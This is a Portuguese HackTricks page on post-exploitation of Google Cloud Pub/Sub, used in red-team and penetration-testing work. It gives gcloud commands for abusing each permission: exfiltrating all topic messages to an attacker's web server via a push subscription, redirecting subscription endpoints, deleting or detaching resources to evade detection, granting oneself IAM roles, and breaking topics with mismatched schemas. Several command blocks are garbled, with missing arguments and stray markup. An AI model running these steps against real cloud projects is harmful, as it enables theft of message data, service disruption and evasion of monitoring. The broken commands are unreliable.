GCP - Pub/Sub Post Exploitation

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Pub/Sub

Para mais informações sobre Pub/Sub, consulte a seguinte página:

GCP - Pub/Sub Enum

pubsub.topics.publish

Publica uma mensagem em um tópico, útil para enviar dados inesperados e acionar funcionalidades inesperadas ou exploit vulnerabilities:

Publicar mensagem no tópico ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ```

pubsub.topics.detachSubscription

Útil para impedir que uma subscription receba mensagens, talvez para evitar detecção.

Desanexar a subscription do topic ```bash gcloud pubsub topics detach-subscription ```

pubsub.topics.delete

Útil para impedir que uma assinatura receba mensagens, talvez para evitar detecção.
É possível excluir um tópico mesmo com assinaturas anexadas a ele.

Excluir tópico ```bash gcloud pubsub topics delete ```

pubsub.topics.update

Use esta permissão para atualizar alguma configuração do tópico para perturbá-lo, como --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key

pubsub.topics.setIamPolicy

Conceda a si mesmo permissão para executar qualquer um dos ataques anteriores.

# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Obter todas as mensagens em um servidor web:

Criar push subscription para receber mensagens ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```

Crie uma subscription e use-a para recuperar mensagens (pull):

Criar uma subscription pull e recuperar mensagens ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic

You also need pubsub.subscriptions.consume for this

gcloud pubsub subscriptions pull

This command will wait for a message to be posted

</details>

### `pubsub.subscriptions.delete`

**Excluir uma assinatura** pode ser útil para interromper um sistema de processamento de logs ou algo similar:

<details>

<summary>Excluir assinatura</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Use esta permissão para atualizar alguma configuração para que as mensagens sejam armazenadas em um lugar que você possa acessar (URL, Big Query table, Bucket) ou apenas para causar uma interrupção.

Endpoint de atualização da subscription ```bash gcloud pubsub subscriptions update --push-endpoint ```

pubsub.subscriptions.setIamPolicy

Conceda a si mesmo as permissões necessárias para executar qualquer um dos ataques mencionados anteriormente.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Ataque um schema a um tópico de modo que as mensagens não o satisfaçam e, portanto, o tópico seja interrompido.
Se não houver schemas, pode ser necessário criar um.

Criar arquivo de schema e anexá-lo ao tópico ```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Pode parecer que, ao deletar um schema, você poderá enviar mensagens que não cumprem o schema. No entanto, como o schema será deletado, nenhuma mensagem realmente entrará no tópico. Portanto, isto é INÚTIL:

Deletar schema (inútil) ```bash gcloud pubsub schemas delete ```

pubsub.schemas.setIamPolicy

Conceda a si mesmo as permissões necessárias para executar qualquer um dos ataques comentados anteriormente.

pubsub.snapshots.create, pubsub.snapshots.seek

Isso criará um snapshot de todas as mensagens unACKed e as colocará de volta na subscription. Não é muito útil para um atacante, mas aqui está:

Criar snapshot e fazer seek nele ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks